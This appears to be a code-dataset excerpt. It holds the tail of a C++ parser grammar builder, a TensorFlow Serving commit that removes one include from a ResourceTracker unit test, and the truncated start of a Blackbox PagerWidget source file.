satisfied.\n \/\/ Doing it this way allows the condition to run in the hook's scope,\n \/\/ with access to \"$$\".\n auto l1 = std::make_shared<production::Loop>(sym, field, false, l->location());\n l1->pgMeta()->field = l->sharedPtr<type::unit::item::Field>();\n setResult(l1);\n }\n\n else if ( count ) {\n auto l1 = std::make_shared<production::Counter>(sym, count->value(), field, l->location());\n l1->pgMeta()->field = l->sharedPtr<type::unit::item::Field>();\n setResult(l1);\n }\n\n else if ( length ) {\n auto l1 = std::make_shared<production::Loop>(sym, field, true, l->location());\n auto l2 = std::make_shared<production::ByteBlock>(sym, length->value(), l1, l->location());\n l1->pgMeta()->field = l->sharedPtr<type::unit::item::Field>();\n setResult(l2);\n }\n\n else {\n \/\/ No attributes, use look-ahead to figure out when to stop parsing.\n \/\/\n \/\/ Left-factored & right-recursive.\n \/\/\n \/\/ List1 -> Item List2\n \/\/ List2 -> Epsilon | List1\n\n auto epsilon = std::make_shared<production::Epsilon>(l->location());\n auto l1 = std::make_shared<production::Sequence>(sym + \":l1\", Production::production_list(), nullptr, l->location());\n auto l2 = std::make_shared<production::LookAhead>(sym + \":l2\", epsilon, l1, l->location());\n\n l1->add(field);\n l1->add(l2);\n\n auto c = std::make_shared<production::Enclosure>(sym, l2, l->location());\n c->pgMeta()->field = l->sharedPtr<type::unit::item::Field>();\n field->pgMeta()->for_each = c->pgMeta()->field;\n\n setResult(c);\n }\n}\n\nvoid GrammarBuilder::visit(type::unit::item::field::container::Vector* v)\n{\n if ( ! _in_decl )\n return;\n\n auto length = v->length();\n auto sym = \"vector:\" + v->id()->name();\n\n ++_in_decl;\n auto field = compileOne(v->field());\n field->setContainer(v->sharedPtr<type::unit::item::field::Container>());\n --_in_decl;\n\n auto l1 = std::make_shared<production::Counter>(sym, v->length(), field, v->location());\n l1->pgMeta()->field = v->sharedPtr<type::unit::item::Field>();\n setResult(l1);\n}\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2016 Google Inc. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow_serving\/resources\/resource_tracker.h\"\n\n#include <algorithm>\n#include <string>\n\n#include <gmock\/gmock.h>\n#include <gtest\/gtest.h>\n#include \"tensorflow\/core\/lib\/core\/status.h\"\n#include \"tensorflow\/core\/lib\/core\/status_test_util.h\"\n#include \"tensorflow\/core\/platform\/google\/integral_types.h\"\n#include \"tensorflow\/core\/platform\/types.h\"\n#include \"tensorflow_serving\/core\/test_util\/mock_loader.h\"\n#include \"tensorflow_serving\/resources\/resources.pb.h\"\n#include \"tensorflow_serving\/test_util\/test_util.h\"\n#include \"tensorflow_serving\/util\/any_ptr.h\"\n\nusing ::tensorflow::serving::test_util::CreateProto;\nusing ::tensorflow::serving::test_util::EqualsProto;\nusing ::testing::_;\nusing ::testing::Return;\nusing ::testing::NiceMock;\n\nnamespace tensorflow {\nnamespace serving {\nnamespace {\n\nclass ResourceTrackerTest : public ::testing::Test {\n protected:\n ResourceTrackerTest()\n : total_resources_(\n CreateProto<ResourceAllocation>(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 16 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 16 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 1 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 16 \"\n \"} \")) {\n std::unique_ptr<ResourceUtil> util(\n new ResourceUtil({{{\"cpu\", 1}, {\"gpu\", 2}}}));\n TF_CHECK_OK(ResourceTracker::Create(\n total_resources_, std::unique_ptr<ResourceUtil>(std::move(util)),\n &tracker_));\n\n loader_0_.reset(new NiceMock<test_util::MockLoader>);\n ON_CALL(*loader_0_, EstimateResources())\n .WillByDefault(Return(\n CreateProto<ResourceAllocation>(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 1 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 3 \"\n \"} \")));\n\n loader_1_.reset(new NiceMock<test_util::MockLoader>);\n ON_CALL(*loader_1_, EstimateResources())\n .WillByDefault(Return(\n CreateProto<ResourceAllocation>(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 5 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 7 \"\n \"} \")));\n\n loader_2_.reset(new NiceMock<test_util::MockLoader>);\n ON_CALL(*loader_2_, EstimateResources())\n .WillByDefault(Return(\n CreateProto<ResourceAllocation>(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 15 \"\n \"} \")));\n\n loader_3_.reset(new NiceMock<test_util::MockLoader>);\n ON_CALL(*loader_3_, EstimateResources())\n .WillByDefault(\n Return(CreateProto<ResourceAllocation>(\"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 12 \"\n \"} \")));\n\n invalid_resources_loader_.reset(new NiceMock<test_util::MockLoader>);\n ON_CALL(*invalid_resources_loader_, EstimateResources())\n .WillByDefault(Return(\n CreateProto<ResourceAllocation>(\"resource_quantities { \"\n \" resource { \"\n \" device: 'bogus_device' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 4 \"\n \"} \")));\n\n \/\/ Disallow calls to Load()\/Unload().\n for (auto* loader : {loader_0_.get(), loader_1_.get(), loader_2_.get(),\n loader_3_.get(), invalid_resources_loader_.get()}) {\n EXPECT_CALL(*loader, Load(_)).Times(0);\n EXPECT_CALL(*loader, Unload()).Times(0);\n }\n }\n\n \/\/ The original total-resources valued provided to 'tracker_'.\n const ResourceAllocation total_resources_;\n\n \/\/ The object under testing.\n std::unique_ptr<ResourceTracker> tracker_;\n\n \/\/ Some mock loaders with specific resource estimates (see the constructor).\n std::unique_ptr<test_util::MockLoader> loader_0_;\n std::unique_ptr<test_util::MockLoader> loader_1_;\n std::unique_ptr<test_util::MockLoader> loader_2_;\n std::unique_ptr<test_util::MockLoader> loader_3_;\n std::unique_ptr<test_util::MockLoader> invalid_resources_loader_;\n};\n\nTEST_F(ResourceTrackerTest, UnboundTotalResources) {\n std::unique_ptr<ResourceUtil> util(\n new ResourceUtil({{{\"cpu\", 1}, {\"gpu\", 2}}}));\n std::unique_ptr<ResourceTracker> tracker;\n const auto unbound_resources = CreateProto<ResourceAllocation>(\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 12 \"\n \"} \");\n EXPECT_FALSE(ResourceTracker::Create(\n unbound_resources,\n std::unique_ptr<ResourceUtil>(std::move(util)), &tracker)\n .ok());\n}\n\nTEST_F(ResourceTrackerTest, UnnormalizedTotalResources) {\n std::unique_ptr<ResourceUtil> util(\n new ResourceUtil({{{\"cpu\", 1}, {\"gpu\", 2}}}));\n std::unique_ptr<ResourceTracker> tracker;\n const auto unnormalized_resources = CreateProto<ResourceAllocation>(\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 12 \"\n \"} \");\n TF_ASSERT_OK(ResourceTracker::Create(\n unnormalized_resources, std::unique_ptr<ResourceUtil>(std::move(util)),\n &tracker));\n \/\/ The total_resources proto should get normalized.\n EXPECT_THAT(tracker->total_resources(),\n EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 12 \"\n \"} \"));\n}\n\nTEST_F(ResourceTrackerTest, RecomputeUsedResources) {\n \/\/ Verify the initial state.\n EXPECT_THAT(tracker_->used_resources(), EqualsProto(\"\"));\n EXPECT_THAT(tracker_->total_resources(), EqualsProto(total_resources_));\n\n \/\/ Recompute used resources for {loader_0_, loader_1_, loader_3_}.\n TF_ASSERT_OK(tracker_->RecomputeUsedResources(\n {loader_0_.get(), loader_1_.get(), loader_3_.get()}));\n EXPECT_THAT(tracker_->used_resources(),\n EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 6 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 10 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 12 \"\n \"} \"));\n EXPECT_THAT(tracker_->total_resources(), EqualsProto(total_resources_));\n\n \/\/ Recompute used resources for just {loader_0_}.\n TF_ASSERT_OK(tracker_->RecomputeUsedResources({loader_0_.get()}));\n EXPECT_THAT(tracker_->used_resources(),\n EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 1 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 3 \"\n \"} \"));\n EXPECT_THAT(tracker_->total_resources(), EqualsProto(total_resources_));\n}\n\nTEST_F(ResourceTrackerTest, ReserveResourcesSuccessWithUsedResourcesBound) {\n TF_ASSERT_OK(tracker_->RecomputeUsedResources({loader_0_.get()}));\n EXPECT_THAT(tracker_->used_resources(),\n EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 1 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 3 \"\n \"} \"));\n\n \/\/ If just loader_0_ is loaded, loader_2_ should also fit.\n bool success;\n TF_ASSERT_OK(tracker_->ReserveResources(*loader_2_, &success));\n EXPECT_TRUE(success);\n EXPECT_THAT(tracker_->used_resources(),\n EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 16 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 3 \"\n \"} \"));\n EXPECT_THAT(tracker_->total_resources(), EqualsProto(total_resources_));\n}\n\nTEST_F(ResourceTrackerTest, ReserveResourcesFailureWithUsedResourcesBound) {\n TF_ASSERT_OK(tracker_->RecomputeUsedResources({loader_1_.get()}));\n EXPECT_THAT(tracker_->used_resources(),\n EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 5 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 7 \"\n \"} \"));\n\n \/\/ If loader_1_ is loaded, there isn't room for loader_2_.\n bool success;\n TF_ASSERT_OK(tracker_->ReserveResources(*loader_2_, &success));\n EXPECT_FALSE(success);\n \/\/ The used resources should remain unchanged (i.e. only reflect loader_1_).\n EXPECT_THAT(tracker_->used_resources(),\n EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 5 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 7 \"\n \"} \"));\n EXPECT_THAT(tracker_->total_resources(), EqualsProto(total_resources_));\n}\n\nTEST_F(ResourceTrackerTest, ReserveResourcesSuccessWithUsedResourcesUnbound) {\n TF_ASSERT_OK(tracker_->RecomputeUsedResources({loader_3_.get()}));\n EXPECT_THAT(tracker_->used_resources(), EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 12 \"\n \"} \"));\n\n \/\/ If just loader_3_ is loaded, loader_0_ should also fit.\n bool success;\n TF_ASSERT_OK(tracker_->ReserveResources(*loader_0_, &success));\n EXPECT_TRUE(success);\n EXPECT_THAT(tracker_->used_resources(),\n EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 12 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 1 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 3 \"\n \"} \"));\n EXPECT_THAT(tracker_->total_resources(), EqualsProto(total_resources_));\n}\n\nTEST_F(ResourceTrackerTest, ReserveResourcesFailureWithUsedResourcesUnbound) {\n TF_ASSERT_OK(tracker_->RecomputeUsedResources({loader_3_.get()}));\n EXPECT_THAT(tracker_->used_resources(), EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 12 \"\n \"} \"));\n\n \/\/ If loader_3_ is loaded, there isn't room for loader_1_, or for another\n \/\/ copy of loader_3_.\n bool success;\n TF_ASSERT_OK(tracker_->ReserveResources(*loader_1_, &success));\n EXPECT_FALSE(success);\n TF_ASSERT_OK(tracker_->ReserveResources(*loader_3_, &success));\n EXPECT_FALSE(success);\n \/\/ The used resources should remain unchanged (i.e. only reflect a single copy\n \/\/ of loader_3_).\n EXPECT_THAT(tracker_->used_resources(), EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 12 \"\n \"} \"));\n EXPECT_THAT(tracker_->total_resources(), EqualsProto(total_resources_));\n}\n\nTEST_F(ResourceTrackerTest, InvalidResourceEstimate) {\n bool success;\n EXPECT_FALSE(\n tracker_->ReserveResources(*invalid_resources_loader_, &success).ok());\n EXPECT_FALSE(tracker_\n ->RecomputeUsedResources(\n {loader_0_.get(), invalid_resources_loader_.get()})\n .ok());\n}\n\n} \/\/ namespace\n} \/\/ namespace serving\n} \/\/ namespace tensorflow\n<commit_msg>Fix open source build. Change: 117845225<commit_after>\/* Copyright 2016 Google Inc. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow_serving\/resources\/resource_tracker.h\"\n\n#include <algorithm>\n#include <string>\n\n#include <gmock\/gmock.h>\n#include <gtest\/gtest.h>\n#include \"tensorflow\/core\/lib\/core\/status.h\"\n#include \"tensorflow\/core\/lib\/core\/status_test_util.h\"\n#include \"tensorflow\/core\/platform\/types.h\"\n#include \"tensorflow_serving\/core\/test_util\/mock_loader.h\"\n#include \"tensorflow_serving\/resources\/resources.pb.h\"\n#include \"tensorflow_serving\/test_util\/test_util.h\"\n#include \"tensorflow_serving\/util\/any_ptr.h\"\n\nusing ::tensorflow::serving::test_util::CreateProto;\nusing ::tensorflow::serving::test_util::EqualsProto;\nusing ::testing::_;\nusing ::testing::Return;\nusing ::testing::NiceMock;\n\nnamespace tensorflow {\nnamespace serving {\nnamespace {\n\nclass ResourceTrackerTest : public ::testing::Test {\n protected:\n ResourceTrackerTest()\n : total_resources_(\n CreateProto<ResourceAllocation>(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 16 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 16 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 1 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 16 \"\n \"} \")) {\n std::unique_ptr<ResourceUtil> util(\n new ResourceUtil({{{\"cpu\", 1}, {\"gpu\", 2}}}));\n TF_CHECK_OK(ResourceTracker::Create(\n total_resources_, std::unique_ptr<ResourceUtil>(std::move(util)),\n &tracker_));\n\n loader_0_.reset(new NiceMock<test_util::MockLoader>);\n ON_CALL(*loader_0_, EstimateResources())\n .WillByDefault(Return(\n CreateProto<ResourceAllocation>(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 1 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 3 \"\n \"} \")));\n\n loader_1_.reset(new NiceMock<test_util::MockLoader>);\n ON_CALL(*loader_1_, EstimateResources())\n .WillByDefault(Return(\n CreateProto<ResourceAllocation>(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 5 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 7 \"\n \"} \")));\n\n loader_2_.reset(new NiceMock<test_util::MockLoader>);\n ON_CALL(*loader_2_, EstimateResources())\n .WillByDefault(Return(\n CreateProto<ResourceAllocation>(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 15 \"\n \"} \")));\n\n loader_3_.reset(new NiceMock<test_util::MockLoader>);\n ON_CALL(*loader_3_, EstimateResources())\n .WillByDefault(\n Return(CreateProto<ResourceAllocation>(\"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 12 \"\n \"} \")));\n\n invalid_resources_loader_.reset(new NiceMock<test_util::MockLoader>);\n ON_CALL(*invalid_resources_loader_, EstimateResources())\n .WillByDefault(Return(\n CreateProto<ResourceAllocation>(\"resource_quantities { \"\n \" resource { \"\n \" device: 'bogus_device' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 4 \"\n \"} \")));\n\n \/\/ Disallow calls to Load()\/Unload().\n for (auto* loader : {loader_0_.get(), loader_1_.get(), loader_2_.get(),\n loader_3_.get(), invalid_resources_loader_.get()}) {\n EXPECT_CALL(*loader, Load(_)).Times(0);\n EXPECT_CALL(*loader, Unload()).Times(0);\n }\n }\n\n \/\/ The original total-resources valued provided to 'tracker_'.\n const ResourceAllocation total_resources_;\n\n \/\/ The object under testing.\n std::unique_ptr<ResourceTracker> tracker_;\n\n \/\/ Some mock loaders with specific resource estimates (see the constructor).\n std::unique_ptr<test_util::MockLoader> loader_0_;\n std::unique_ptr<test_util::MockLoader> loader_1_;\n std::unique_ptr<test_util::MockLoader> loader_2_;\n std::unique_ptr<test_util::MockLoader> loader_3_;\n std::unique_ptr<test_util::MockLoader> invalid_resources_loader_;\n};\n\nTEST_F(ResourceTrackerTest, UnboundTotalResources) {\n std::unique_ptr<ResourceUtil> util(\n new ResourceUtil({{{\"cpu\", 1}, {\"gpu\", 2}}}));\n std::unique_ptr<ResourceTracker> tracker;\n const auto unbound_resources = CreateProto<ResourceAllocation>(\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 12 \"\n \"} \");\n EXPECT_FALSE(ResourceTracker::Create(\n unbound_resources,\n std::unique_ptr<ResourceUtil>(std::move(util)), &tracker)\n .ok());\n}\n\nTEST_F(ResourceTrackerTest, UnnormalizedTotalResources) {\n std::unique_ptr<ResourceUtil> util(\n new ResourceUtil({{{\"cpu\", 1}, {\"gpu\", 2}}}));\n std::unique_ptr<ResourceTracker> tracker;\n const auto unnormalized_resources = CreateProto<ResourceAllocation>(\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 12 \"\n \"} \");\n TF_ASSERT_OK(ResourceTracker::Create(\n unnormalized_resources, std::unique_ptr<ResourceUtil>(std::move(util)),\n &tracker));\n \/\/ The total_resources proto should get normalized.\n EXPECT_THAT(tracker->total_resources(),\n EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 12 \"\n \"} \"));\n}\n\nTEST_F(ResourceTrackerTest, RecomputeUsedResources) {\n \/\/ Verify the initial state.\n EXPECT_THAT(tracker_->used_resources(), EqualsProto(\"\"));\n EXPECT_THAT(tracker_->total_resources(), EqualsProto(total_resources_));\n\n \/\/ Recompute used resources for {loader_0_, loader_1_, loader_3_}.\n TF_ASSERT_OK(tracker_->RecomputeUsedResources(\n {loader_0_.get(), loader_1_.get(), loader_3_.get()}));\n EXPECT_THAT(tracker_->used_resources(),\n EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 6 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 10 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 12 \"\n \"} \"));\n EXPECT_THAT(tracker_->total_resources(), EqualsProto(total_resources_));\n\n \/\/ Recompute used resources for just {loader_0_}.\n TF_ASSERT_OK(tracker_->RecomputeUsedResources({loader_0_.get()}));\n EXPECT_THAT(tracker_->used_resources(),\n EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 1 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 3 \"\n \"} \"));\n EXPECT_THAT(tracker_->total_resources(), EqualsProto(total_resources_));\n}\n\nTEST_F(ResourceTrackerTest, ReserveResourcesSuccessWithUsedResourcesBound) {\n TF_ASSERT_OK(tracker_->RecomputeUsedResources({loader_0_.get()}));\n EXPECT_THAT(tracker_->used_resources(),\n EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 1 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 3 \"\n \"} \"));\n\n \/\/ If just loader_0_ is loaded, loader_2_ should also fit.\n bool success;\n TF_ASSERT_OK(tracker_->ReserveResources(*loader_2_, &success));\n EXPECT_TRUE(success);\n EXPECT_THAT(tracker_->used_resources(),\n EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 16 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 3 \"\n \"} \"));\n EXPECT_THAT(tracker_->total_resources(), EqualsProto(total_resources_));\n}\n\nTEST_F(ResourceTrackerTest, ReserveResourcesFailureWithUsedResourcesBound) {\n TF_ASSERT_OK(tracker_->RecomputeUsedResources({loader_1_.get()}));\n EXPECT_THAT(tracker_->used_resources(),\n EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 5 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 7 \"\n \"} \"));\n\n \/\/ If loader_1_ is loaded, there isn't room for loader_2_.\n bool success;\n TF_ASSERT_OK(tracker_->ReserveResources(*loader_2_, &success));\n EXPECT_FALSE(success);\n \/\/ The used resources should remain unchanged (i.e. only reflect loader_1_).\n EXPECT_THAT(tracker_->used_resources(),\n EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 5 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 7 \"\n \"} \"));\n EXPECT_THAT(tracker_->total_resources(), EqualsProto(total_resources_));\n}\n\nTEST_F(ResourceTrackerTest, ReserveResourcesSuccessWithUsedResourcesUnbound) {\n TF_ASSERT_OK(tracker_->RecomputeUsedResources({loader_3_.get()}));\n EXPECT_THAT(tracker_->used_resources(), EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 12 \"\n \"} \"));\n\n \/\/ If just loader_3_ is loaded, loader_0_ should also fit.\n bool success;\n TF_ASSERT_OK(tracker_->ReserveResources(*loader_0_, &success));\n EXPECT_TRUE(success);\n EXPECT_THAT(tracker_->used_resources(),\n EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 12 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'cpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 1 \"\n \"} \"\n \"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" device_instance { value: 0 } \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 3 \"\n \"} \"));\n EXPECT_THAT(tracker_->total_resources(), EqualsProto(total_resources_));\n}\n\nTEST_F(ResourceTrackerTest, ReserveResourcesFailureWithUsedResourcesUnbound) {\n TF_ASSERT_OK(tracker_->RecomputeUsedResources({loader_3_.get()}));\n EXPECT_THAT(tracker_->used_resources(), EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 12 \"\n \"} \"));\n\n \/\/ If loader_3_ is loaded, there isn't room for loader_1_, or for another\n \/\/ copy of loader_3_.\n bool success;\n TF_ASSERT_OK(tracker_->ReserveResources(*loader_1_, &success));\n EXPECT_FALSE(success);\n TF_ASSERT_OK(tracker_->ReserveResources(*loader_3_, &success));\n EXPECT_FALSE(success);\n \/\/ The used resources should remain unchanged (i.e. only reflect a single copy\n \/\/ of loader_3_).\n EXPECT_THAT(tracker_->used_resources(), EqualsProto(\"resource_quantities { \"\n \" resource { \"\n \" device: 'gpu' \"\n \" kind: 'ram' \"\n \" } \"\n \" quantity: 12 \"\n \"} \"));\n EXPECT_THAT(tracker_->total_resources(), EqualsProto(total_resources_));\n}\n\nTEST_F(ResourceTrackerTest, InvalidResourceEstimate) {\n bool success;\n EXPECT_FALSE(\n tracker_->ReserveResources(*invalid_resources_loader_, &success).ok());\n EXPECT_FALSE(tracker_\n ->RecomputeUsedResources(\n {loader_0_.get(), invalid_resources_loader_.get()})\n .ok());\n}\n\n} \/\/ namespace\n} \/\/ namespace serving\n} \/\/ namespace tensorflow\n<|endoftext|>"} {"text":"<commit_before>#include \"PagerWidget.h\"\n#include <blackbox\/BlackBox.h>\n#include <blackbox\/gfx\/utils_imgui.h>\n#include <bblib\/codecvt.h>\n#include <imgui\/imgui_internal.h>\n#include <blackbox\/utils_window.h>\n\nnamespace bb {\n\n\tPagerWidget::PagerWidget (WidgetConfig & cfg)\n\t\t: GuiWidget(cfg)\n\t{\n\t\tm_tasks.reserve(64);\n\t}\n\n\tvoid 